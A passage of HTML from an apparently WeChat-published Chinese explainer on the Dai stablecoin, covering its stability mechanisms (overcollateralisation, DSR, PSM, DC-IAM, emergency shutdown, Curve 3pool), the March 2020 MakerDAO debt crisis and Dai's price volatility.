16px;"><br/></section><section style="line-height: 1.75em;margin-top: 16px;margin-bottom: 16px;"><section style="display: flex;justify-content: center;align-items: center;width: 100%;justify-content: flex-start;padding-left: 18px;padding-top: 2px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="width: 18px;height: 17px;align-self: flex-start;margin-left: 5px;margin-bottom: -21px;z-index: 1;" data-mid="" mpa-from-tpl="t"><img data-ratio="0.9444444444444444" style="display: block;" data-w="36" src="https://wechat2rss.xlab.app/img-proxy/?k=8842679f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFKDz8tsibyDNRPIvzcgKt43EQnd6ZZjvU2qa3ZNflQKaRanMGGO66TJtWic1zl8y0LzR0gVnGiaov2Kbgylic4qCYw%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: center;padding: 0px 18px 4px 0px;border-bottom: 1px solid #133962;" data-mid="" mpa-from-tpl="t"><p style="padding: 0px 10px 0px 26px;font-size: 16px;font-family: PingFangSC-Medium, PingFang SC;font-weight: bold;color: #133962;line-height: 22px;letter-spacing: 1px;" data-mid="">   Dai 的 稳 定 因 素   </p><span style="width: 100%;display: block;height: 8px;background: #E6EEF4;margin-top: -8px;" data-mid=""></span></section><section style="width: 73px;height: 36px;align-self: flex-end;margin-right: -8px;margin-top: -22px;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="0.4931506849315068" style="display: block;" data-w="146" src="https://wechat2rss.xlab.app/img-proxy/?k=ed254c77&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5fyFoGlGwxEDySl1kPwE5j4L37Cibxd0ufIlM9f1zgWwjMSwljicQemcotRCGaiahS6nQEoPLoxukOzKSqKyvVS1A%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section><section style="line-height: 1.75em;margin-top: 16px;margin-bottom: 16px;"><br/></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.5px;text-decoration: underline;color: rgb(40, 104, 176);font-size: 16px;"><strong style="mso-bidi-font-weight:normal;">◆ Maker协议</strong></span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><strong style="margin: 0px;padding: 0px;max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;color: rgb(40, 104, 176);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.5px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">超额抵押：</strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);font-size: 12pt;">这是Dai作为软锚定美元最关键的因素。Dai背后采用的超额抵押和清算机制能够保证每一个铸造出来的Dai都会尽可能的拥有其对应于1美元的价值。</span></span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="letter-spacing: 0.5px;"><span style="max-width: 100%;color: rgb(40, 104, 176);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;overflow-wrap: break-word !important;"><strong>稳定费率：</strong></span><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);font-size: 12pt;">稳定费率（Dai Stability Rate, DSR）是一个系统全局参数，决定了Dai持有者可基于其存款获得的收益，同时稳定Dai与美元软锚定的一个重要参数。当Dai的市场价格由于市场变化而偏离目标价格时，MKR持有者可以通过投票更改DSR来维护价格的稳定性。</span></span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">–如果Dai的市场价格超过1美元，MKR持有者可以选择逐渐降低DSR，以此减少需求量，进而将Dai的市场价格降至1美元的目标价格。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">–如果Dai的市场价格低于1美元，MKR 持有者可以选择逐渐增加DSR，以此刺激需求量上升，进而将Dai的市场价格增至1美元的目标价格。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="letter-spacing: 0.5px;"><span style="max-width: 100%;color: rgb(40, 104, 176);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;overflow-wrap: break-word !important;"><strong>锚定稳定模块：</strong></span><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);font-size: 12pt;">稳定锚定模块的推出为Dai的铸造和销毁提供了额外的途径，极大的提高了Dai的流动性，使得Keeper和Dai的套利者能够更方便地进行清算和套利，从而减小Dai与其他稳定币价格的差距，保证与美元的软锚定。</span></span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="letter-spacing: 0.5px;"><span style="max-width: 100%;color: rgb(40, 104, 176);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;overflow-wrap: break-word !important;"><strong>债务上限即时访问模块：</strong></span><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);font-size: 12pt;">债务上限即时访问模块（Debt Ceiling Instant Access Module, DC-IAM）模块提供了一个任何人都能够访问的接口，来更新某类资产的当前最大债务上限，这个值会与当前债务值保持一定的距离，并随之变化。当某类资产中Dai的债务达到最大债务上限时，用户将不能够继续铸造Dai，直至更高的债务上限被设置。这个模块的作用能够在减少MakerDAO治理开销的同时，降低当抵押品价格大幅下跌时所带来的风险，进而减缓了在黑天鹅事件发生时，急剧增加的Dai供应量导致与美元的锚定发生较大的偏移。</span></span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="letter-spacing: 0.5px;"><span style="max-width: 100%;color: rgb(40, 104, 176);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;overflow-wrap: break-word !important;"><strong>紧急关停模块：</strong></span><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);font-size: 12pt;">紧急关停模块（Emergency Shutdown Module, ESM）是发生紧急情况时的最后一道防线，用来保护Maker协议免受基础设施的攻击并直接执行Dai的目标价格。关停流程只能由Maker治理控制。在紧急关停后，Dai持有者可以直接赎回其对应价值的抵押品。</span></span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.5px;text-decoration: underline;color: rgb(40, 104, 176);font-size: 16px;"><strong style="mso-bidi-font-weight:normal;">◆ Curve 3pool</strong></span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">Curve 3pool 是一个重要的 DeFi 构建模块。它是一个由 DAI、USDC 和 UDST 组成的稳定币流动性池，并拥有超过 10 亿美元的总锁仓价值。市场上其他一些稳定币也在使用 3pool 作为自己池子的一部分，来帮助锚定1美元的价格，FRAX-3CRV 就是其中一个例子。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12pt;letter-spacing: 0.5px;">作为最大的稳定币 Curve 池，3pool 享有大量 CRV 释放带来的好处，使其成为低风险的赚取稳定币收益的好地方，并进一步增加了流动性的深度，从而巩固了 3pool 在 DeFi 堆栈中的地位，以及Dai锚定美元的稳定性。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">比较有意思的是， Do Kwon 2022年4月份提出要在Curve上建立4pool（USDT、USDC、UST 和 FRAX）。他的本意是与 3pool 竞争，打倒Dai在稳定币领域的地位，稳固UST的市场。</span></section><h4 style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);font-weight: bold;font-size: 12pt;"><br mpa-from-tpl="t"/></span></strong></span></h4><section style="line-height: 1.75em;margin-top: 16px;margin-bottom: 16px;"><section style="display: flex;justify-content: center;align-items: center;width: 100%;justify-content: flex-start;padding-left: 18px;padding-top: 2px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="width: 18px;height: 17px;align-self: flex-start;margin-left: 5px;margin-bottom: -21px;z-index: 1;" data-mid="" mpa-from-tpl="t"><img data-ratio="0.9444444444444444" style="display: block;" data-w="36" src="https://wechat2rss.xlab.app/img-proxy/?k=8842679f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFKDz8tsibyDNRPIvzcgKt43EQnd6ZZjvU2qa3ZNflQKaRanMGGO66TJtWic1zl8y0LzR0gVnGiaov2Kbgylic4qCYw%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: center;padding: 0px 18px 4px 0px;border-bottom: 1px solid #133962;" data-mid="" mpa-from-tpl="t"><p style="padding: 0px 10px 0px 26px;font-size: 16px;font-family: PingFangSC-Medium, PingFang SC;font-weight: bold;color: #133962;line-height: 22px;letter-spacing: 1px;" data-mid="">  Dai 的 债 务 危 机  </p><span style="width: 100%;display: block;height: 8px;background: #E6EEF4;margin-top: -8px;" data-mid=""></span></section><section style="width: 73px;height: 36px;align-self: flex-end;margin-right: -8px;margin-top: -22px;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="0.4931506849315068" style="display: block;" data-w="146" src="https://wechat2rss.xlab.app/img-proxy/?k=ed254c77&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5fyFoGlGwxEDySl1kPwE5j4L37Cibxd0ufIlM9f1zgWwjMSwljicQemcotRCGaiahS6nQEoPLoxukOzKSqKyvVS1A%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section><section style="line-height: 1.75em;margin-top: 16px;margin-bottom: 16px;"><br/></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">在2020年3月12日，全球范围的货币危机导致的黑天鹅事件使得ETH的价格在一天之内暴跌了将近50%。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">这场暴跌引发了交易所、DeFi协议在内的金融机构面临了一场全面清算，短时间内的大量交易也瞬间导致以太坊网络严重拥堵。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="letter-spacing: 0.5px;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);font-size: 12pt;">此时，MakerDAO也面临着前所未有的巨额清算业务。但是因为区块链网络持续拥堵，以及Dai价格出现溢价，导致抵押物无法以正常的价格进行拍卖和清算，最终导致Maker系统的抵押物价值比预期的最低阈值还低了</span><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(40, 104, 176);"><strong style="mso-bidi-font-weight:normal;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(40, 104, 176);font-size: 12pt;">530万美元</span></strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(40, 104, 176);font-size: 12pt;">。</span></span></span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">Dai稳定币的价格在此期间，一度上涨至1.10美元，产生了10%左右的溢价，这阻止了那些想要加入抵押品清算的清算人。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">因为网络的拥堵和竞争对手的减少，那些“精明”的清算人通过高昂的gas费，以0元的价格获取了抵押品，这令Maker系统的债务雪上加霜。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">最后，MakerDAO通过发行，拍卖治理代币MKR来偿还Dai的债务。这场由黑天鹅事件引发的债务危机，在MakerDAO社区共同的治理下，历时两个月，偿还了所有的债务，并将Dai的价格重新拉回至1美元。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="letter-spacing: 0.5px;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">同时，这场债务危机也暴露了Maker协议中许多问题，比如：简单的金融模型和风险评估，清算和拍卖机制中系统参数的设置较为随意，缓慢的社</span><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12pt;">区决策等。</span></span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);font-size: 12pt;">详细的分析可以查看这个文章：</span><a href="https://medium.com/dragonfly-research/daos-ex-machina-an-in-depth-timeline-of-makers-recent-crisis-66d2ae39dd65" target="_blank">https://medium.com/dragonfly-research/daos-ex-machina-an-in-depth-timeline-of-makers-recent-crisis-66d2ae39dd65</a></span></section><h4 style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);font-weight: bold;font-size: 12pt;"><br mpa-from-tpl="t"/></span></strong></span></h4><section style="line-height: 1.75em;margin-top: 16px;margin-bottom: 16px;"><section style="display: flex;justify-content: center;align-items: center;width: 100%;justify-content: flex-start;padding-left: 18px;padding-top: 2px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="width: 18px;height: 17px;align-self: flex-start;margin-left: 5px;margin-bottom: -21px;z-index: 1;" data-mid="" mpa-from-tpl="t"><img data-ratio="0.9444444444444444" style="display: block;" data-w="36" src="https://wechat2rss.xlab.app/img-proxy/?k=8842679f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFKDz8tsibyDNRPIvzcgKt43EQnd6ZZjvU2qa3ZNflQKaRanMGGO66TJtWic1zl8y0LzR0gVnGiaov2Kbgylic4qCYw%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: center;padding: 0px 18px 4px 0px;border-bottom: 1px solid #133962;" data-mid="" mpa-from-tpl="t"><p style="padding: 0px 10px 0px 26px;font-size: 16px;font-family: PingFangSC-Medium, PingFang SC;font-weight: bold;color: #133962;line-height: 22px;letter-spacing: 1px;" data-mid="">  Dai 的 价 格 波 动</p><span style="width: 100%;display: block;height: 8px;background: #E6EEF4;margin-top: -8px;" data-mid=""></span></section><section style="width: 73px;height: 36px;align-self: flex-end;margin-right: -8px;margin-top: -22px;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="0.4931506849315068" style="display: block;" data-w="146" src="https://wechat2rss.xlab.app/img-proxy/?k=ed254c77&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5fyFoGlGwxEDySl1kPwE5j4L37Cibxd0ufIlM9f1zgWwjMSwljicQemcotRCGaiahS6nQEoPLoxukOzKSqKyvVS1A%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section><section style="line-height: 1.75em;margin-top: 16px;margin-bottom: 16px;"><br/></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">在2021年以前，Dai的价格波动较大，特别是在黑天鹅事件中。在2021年后，Dai的价格波动最大约为1%，这也在一定程度上说明了Dai生态的稳定性。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.48984375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=80c9a2f0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcfOy00HkI4YkNB6IA7h8jMTFVFQ3eUz7yCheec7FkPZ1YOHXYJeMdHDE0CqzwwQlXxTJDZCTW1Ng%2F640%3Fwx_fmt%3Dpng"/></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><br mpa-from-tpl="t"/></span></section><section style="line-height: 1.75em;margin-top: 16px;margin-bottom: 16px;"><br/></section><section data-mpa-template="t" mpa-from-tpl="t"><section style="max-width: 100%;box-sizing: border-box;color: rgb(62, 62, 62);white-space: normal;text-size-adjust: auto;font-size: 16px;word-wrap: break-word !important;" mpa-from-tpl="t"><section style="max-width: 100%;box-sizing: border-box;word-wrap: break-word !important;" mpa-from-tpl="t"><section style="max-width: 100%;box-sizing: border-box;text-align: center;line-height: 1.75em;margin-top: 16px;margin-bottom: 16px;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;word-wrap: break-word !important;" mpa-from-tpl="t"><span style="max-width: 100%;font-size: 14px;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;box-sizing: border-box;width: 0px;display: inline-block;opacity: 0.6;border-left: 0.6em solid rgb(0, 122, 170);overflow-wrap: break-word !important;border-top: 0.5em solid transparent !important;border-bottom: 0.5em solid transparent !important;"></span><span style="max-width: 100%;box-sizing: border-box;width: 0px;display: inline-block;border-left: 0.6em solid rgb(0, 122, 170);overflow-wrap: break-word !important;border-top: 0.5em solid transparent !important;border-bottom: 0.5em solid transparent !important;"></span></span></section><section style="padding-right: 3px;padding-left: 3px;max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;line-height: 1.2;word-wrap: break-word !important;" mpa-from-tpl="t"><p style="max-width: 100%;box-sizing: border-box;min-height: 1em;word-wrap: break-word !important;"><span style="max-width: 100%;font-size: 16px;font-family: Arial, Helvetica, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">  </span><strong><span style="max-width: 100%;font-size: 16px;color: rgb(84, 84, 84);font-family: Arial, Helvetica, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">文章太长 未完待续~  </span></strong><span style="max-width: 100%;font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"> </span></p></section><section style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;word-wrap: break-word !important;" mpa-from-tpl="t"><span style="max-width: 100%;font-size: 14px;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;box-sizing: border-box;width: 0px;display: inline-block;border-right: 0.6em solid rgb(0, 122, 170);overflow-wrap: break-word !important;border-top: 0.5em solid transparent !important;border-bottom: 0.5em solid transparent !important;"></span><span style="max-width: 100%;box-sizing: border-box;width: 0px;display: inline-block;opacity: 0.6;border-right: 0.6em solid rgb(0, 122, 170);overflow-wrap: break-word !important;border-top: 0.5em solid transparent !important;border-bottom: 0.5em solid transparent !important;"></span></span></section></section></section></section></section><section style="line-height: 1.75em;margin-top: 16px;margin-bottom: 16px;"><br/></section><section style="text-align: center;line-height: 1.75em;margin-top: 16px;margin-bottom: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.97" data-s="300,640" style="" data-type="gif" data-w="100" src="https://wechat2rss.xlab.app/img-proxy/?k=dfa5910c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fe9yMd8aXldcfOy00HkI4YkNB6IA7h8jMKy5vALmldnDibAxZ4P7TZaCzw9nxfgAOcQS9FKDS3rTozQuessFIKxQ%2F640%3Fwx_fmt%3Dgif"/></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;"></span></section><p style="margin: 16px;text-align: justify;line-height: 1.75em;"><br/></p><p style="margin: 16px;text-align: justify;line-height: 1.75em;"><strong><span style="color: rgb(84, 84, 84);letter-spacing: 0.5px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;">看不懂或看不够？还可以看：</span></strong><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><br/></span></p><section data-recommend-type="list-normal" data-recommend-tid="2" data-mpa-template="t" style="width: 100%;display: flex;justify-content: center;align-items: center;" data-mid="" data-from="yb-recommend"><section style="width: 100%;padding: 14px 7px 6px;background: rgb(255, 255, 255);border-radius: 3px;border-width: 1px;border-style: solid;border-color: rgb(232, 232, 235);" data-mid=""><section data-mpa-template="t" data-recommend-article-type="list-normal" data-recomment-template-id="2" data-recommend-article-id="2247490099_1" data-recommend-article-time="1654855203" data-recommend-article-cover="https://mmbiz.qlogo.cn/mmbiz_jpg/e9yMd8aXldfXzWMAa9mf7arBjO0bymQibPO5jOGeBmEsJ0xljia75RDicrJyVaRR9EKOxauNTQoloXrcW9VYTlM6g/0?wx_fmt=jpeg" data-recommend-article-title="以太坊标准——EIP712" data-recommend-article-content-url="https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247490099&amp;idx=1&amp;sn=1c7bd29670a52d640e62cddbef2e14db&amp;chksm=c2850575f5f28c63a0a51c96820767d930feeca802b2d30fb57415ad55b2d9480bb487c136ee#rd"><a href="https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247490099&amp;idx=1&amp;sn=1c7bd29670a52d640e62cddbef2e14db&amp;chksm=c2850575f5f28c63a0a51c96820767d930feeca802b2d30fb57415ad55b2d9480bb487c136ee&amp;scene=21#wechat_redirect" data-linktype="1"><section data-recommend-content="t" style="width: 100%;padding: 5px 10px;background: rgb(249, 249, 249);border-radius: 3px;border-width: 1px;border-style: solid;border-color: rgb(239, 239, 239);margin-bottom: 8px;display: flex;justify-content: space-between;align-items: center;" data-mid=""><section style="margin-right: 12px;flex: 1;" data-mid=""><p data-recommend-title="t" style="font-size: 13px;font-weight: 400;color: #333333;line-height: 18px;margin-bottom: 20px;max-width: 100%;overflow: hidden;display: -webkit-box;-webkit-line-clamp: 2;-webkit-box-orient: vertical;" data-mid="">以太坊标准——EIP712</p><p data-recommend-date="t" style="max-width: 100%;font-size: 11px;font-weight: 400;color: #999999;line-height: 16px;" data-mid="">2022-06-10</p></section><span class="js_jump_icon h5_image_link" data-positionback="static" style="inset: auto;margin: 0px;"><img class="rich_pages wxw-img" data-ratio="1" style="width: 51px;height: 51px;object-fit: cover;margin: 0px;" data-w="720" src="https://wechat2rss.xlab.app/img-proxy/?k=aa3b0f8b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fe9yMd8aXldfXzWMAa9mf7arBjO0bymQibPO5jOGeBmEsJ0xljia75RDicrJyVaRR9EKOxauNTQoloXrcW9VYTlM6g%2F640%3Fwx_fmt%3Djpeg"/></span> </section></a></section><section data-mpa-template="t" data-recommend-article-type="list-normal" data-recomment-template-id="2" data-recommend-article-id="2247490054_1" data-recommend-article-time="1654769294" data-recommend-article-cover="https://mmbiz.qlogo.cn/mmbiz_jpg/e9yMd8aXldf8TDg9FrYOnZNPwL0ldnqDDv5cKHKQAm39TVnpgJlTKOElSLuoy5HhQnZSsgdRDzicR6ogQaWdHMA/0?wx_fmt=jpeg" data-recommend-article-title="走进区块链的第一步：mev浅析" 